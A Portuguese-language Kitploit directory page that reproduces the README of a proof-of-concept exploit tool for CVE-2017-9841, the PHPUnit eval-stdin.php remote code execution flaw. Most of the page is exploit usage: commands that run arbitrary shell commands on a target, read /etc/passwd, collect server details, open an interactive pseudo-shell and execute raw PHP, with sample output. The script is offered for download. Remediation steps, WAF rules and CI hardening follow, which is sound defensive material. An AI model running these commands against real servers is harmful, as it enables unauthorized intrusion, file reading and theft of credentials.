Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC — CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2. | Kitploit
Ferramentas/GitHubGitHub/krisdewa/cve-2017-9841-phpunit-remote-code-execution-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubkrisdewa/cve-2017-9841-phpunit-remote-code-execution-poc

CVE-2017-9841-PHPUnit-Remote-Code-Execution-PoC

CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
há 2 mesesAinda não revisado

CVE-2017-9841 — Prova de Conceito (PoC) de Execução Remota de Código (RCE) no PHPUnit

⚠️ AVISO: Esta ferramenta destina-se exclusivamente a fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.


Visão Geral

CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.

A vulnerabilidade existe em src/Util/PHP/eval-stdin.php, que executa código PHP recebido via php://input (corpo da requisição POST) usando a função eval(). Se este arquivo estiver acessível publicamente (por exemplo, dentro de um diretório vendor/ desprotegido), um atacante pode executar código PHP arbitrário no servidor sem autenticação.

Detalhes da Vulnerabilidade

Código Vulnerável

root@kitploit:~
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));

Este arquivo aceita código PHP vindo do corpo da requisição POST e o executa imediatamente via eval() sem qualquer autenticação ou validação.


Instalação

Requisitos

  • Python 3.6+
  • Biblioteca requests
root@kitploit:~
pip install requests

Configuração

root@kitploit:~
git clone <url-do-repositorio>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py

Uso

Sintaxe Básica

root@kitploit:~
python3 poc_cve-2017-9841.py -u <URL> [opções]

A flag -u aceita tanto uma URL base (adiciona automaticamente o caminho vulnerável) quanto uma URL completa apontando diretamente para eval-stdin.php.

1. Verificação de Vulnerabilidade (Sem Execução de Comandos)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --check

Saída:

root@kitploit:~
[*] Alvo : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

[*] Verificando vulnerabilidade em: ...
[+] Arquivo acessível (HTTP 200)
[+] VULNERÁVEL! Execução de código confirmada.
[+] Resposta: VULN_CHECK_OK_2017_9841

2. Execução de Comandos

root@kitploit:~
# Comando único
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'

# Múltiplos comandos
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'

# Ler um arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'

# Salvar saída em arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o resultado.txt

3. Informações do Servidor (Somente Leitura)

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --info

Saída:

root@kitploit:~
=== INFORMAÇÕES DO SERVIDOR ===
Versão PHP  : 8.x.x
SO          : Linux
SAPI        : fpm-fcgi
Usuário     : www-data
Hostname    : web-server-01
IP Servidor : 192.168.1.100
Diretório Atual: /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Raiz do Doc : /var/www/html/
Servidor Web: Apache
Limite de Memória: 256M
Máx Exec    : 30s
Open Basedir: (nenhum)
Funções Desabilitadas: (nenhuma)

=== FUNÇÕES PERIGOSAS ===
  system: SIM
  exec: SIM
  passthru: SIM
  shell_exec: SIM
  proc_open: SIM
  popen: SIM
  curl_exec: SIM

4. Pseudo-Shell Interativo

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell

Saída:

root@kitploit:~
[*] Pseudo-shell (digite 'exit' ou 'quit' para sair)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root     root     4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Saindo do shell.

5. Busca Automática de Caminho Vulnerável

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path

6. Caminho Personalizado

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --path '/custom/path/eval-stdin.php' -c 'whoami'

7. URL Completa para eval-stdin.php

root@kitploit:~
python3 poc_cve-2017-9841.py \
  -u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
  -c 'whoami'

8. Executar Código PHP Bruto

root@kitploit:~
python3 poc_cve-2017-9841.py -u 'https://target.com' \
  --php '<?php phpinfo(); ?>'

Referência de Opções


Remediação

Ações Imediatas (Faça ISSO AGORA)

1. Excluir o Arquivo Vulnerável

root@kitploit:~
sudo rm /caminho/do/projeto/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

2. Bloquear Acesso ao Diretório Vendor

Adicione um arquivo .htaccess dentro do diretório vendor/:

root@kitploit:~
# /caminho/do/projeto/vendor/.htaccess
Deny from all

Ou configure no VirtualHost do Apache:

root@kitploit:~
<Directory "/caminho/do/projeto/vendor">
    Require all denied
</Directory>

Para Nginx:

root@kitploit:~
location /vendor/ {
    deny all;
    return 403;
}

3. Remover Dependências de Desenvolvimento da Produção

root@kitploit:~
cd /caminho/do/projeto
composer install --no-dev --optimize-autoloader

Endurecimento de Curto Prazo

4. Habilitar disable_functions no php.ini

root@kitploit:~
; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source

5. Habilitar open_basedir

root@kitploit:~
; /etc/php/8.4/fpm/php.ini ou no VirtualHost
open_basedir = /var/www/html/projeto:/tmp

6. Reduzir max_execution_time

root@kitploit:~
max_execution_time = 30

7. Reiniciar PHP-FPM

root@kitploit:~
sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm

Endurecimento de Longo Prazo

8. Atualizar PHPUnit

root@kitploit:~
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit

9. Implementar Regras WAF

Exemplo ModSecurity:

root@kitploit:~
SecRule REQUEST_URI "eval-stdin\.php" \
    "id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"

SecRule REQUEST_URI "/vendor/" \
    "id:1000002,phase:1,deny,status:403,msg:'Bloquear acesso ao diretório vendor'"

10. Endurecimento no Pipeline CI/CD

root@kitploit:~
# Exemplo: GitHub Actions
- name: Instalar apenas dependências de produção
  run: composer install --no-dev --optimize-autoloader

- name: Remover arquivos de teste e scripts vulneráveis
  run: |
    rm -rf vendor/phpunit
    rm -rf vendor/mockery
    rm -rf tests/
    find vendor -name "eval-stdin.php" -delete

Diagrama do Fluxo do Ataque

root@kitploit:~
                    ┌──────────────────────────────┐
                    │          Atacante            │
                    └──────────────┬───────────────┘
                                   │ POST (código PHP)
                                   ▼
┌─────────────────────────────────────────────────────────────┐
│                        Servidor Apache                     │
│  ┌───────────────────────────────────────────────────────┐  │
│  │  /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  │  │
│  │                                                       │  │
│  │  eval('?>' . file_get_contents('php://input'));       │  │
│  │           ▲                                           │  │
│  └───────────┼───────────────────────────────────────────┘  │
│              │                                              │
│              ▼                                              │
│  ┌───────────────────────────────────────────────────────┐  │
│  │            Execução de Código Arbitrário              │  │
│  │                                                       │  │
│  │  - Ler/Escrever arquivos no servidor                  │  │
│  │  - Acessar credenciais de banco de dados              │  │
│  │  - Movimento lateral para rede interna                │  │
│  │  - Instalar backdoors / webshells                     │  │
│  │  - Escalação de privilégio                            │  │
│  └───────────────────────────────────────────────────────┘  │
└─────────────────────────────────────────────────────────────┘

Fatores Agravantes

As seguintes condições aumentam significativamente a gravidade e a explorabilidade desta vulnerabilidade:


Referências

  • NVD - CVE-2017-9841
  • PHPUnit GitHub Issue #2728
  • Exploit-DB #43340
  • MITRE CVE

Licença

Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.

Baixar ferramenta
CampoValor
ID CVECVE-2017-9841
Pontuação CVSS9.8 (Crítica)
AfetadosPHPUnit < 5.6.3, 6.x < 6.4.2
TipoExecução Remota de Código (RCE)
AutenticaçãoNão necessária
VetorRede (remoto)
Publicado27 de junho de 2017
ReferênciaNVD
FlagDescrição
-u, --url URLURL base do alvo ou URL completa para eval-stdin.php
-c, --cmd CMDComando de CLI a ser executado no servidor alvo
--checkVerificar se o alvo é vulnerável sem executar comandos
--shellAbrir um pseudo-shell interativo
--infoColetar informações do servidor (somente leitura)
--find-pathEscanear caminhos comuns para localizar eval-stdin.php
--path CAMINHOEspecificar um caminho personalizado para eval-stdin.php
--timeout NTempo limite da requisição em segundos (padrão: 30)
-o, --output ARQUIVOSalvar a saída do comando em um arquivo
--php CÓDIGOExecutar código PHP bruto em vez de comandos do sistema
FatorImpacto
disable_functions vazioTodas as funções PHP estão disponíveis (system, exec, etc.)
open_basedir não configuradoAtacante pode ler/escrever arquivos em todo o sistema de arquivos
Alto max_execution_timeAtacante tem mais tempo por requisição para cargas úteis complexas
Extensão FFI carregadaPermite chamadas diretas a funções C, contornando restrições PHP
Extensões de banco de dados carregadasPossíveis conexões diretas a bancos de dados (mysqli, pgsql, etc.)
Nenhum WAF implantadoNenhuma filtragem ou bloqueio de requisições
Sem IDS/IPS em vigorNenhuma detecção de anomalias ou alertas
Dependências de desenvolvimento em produçãoExpande a superfície de ataque desnecessariamente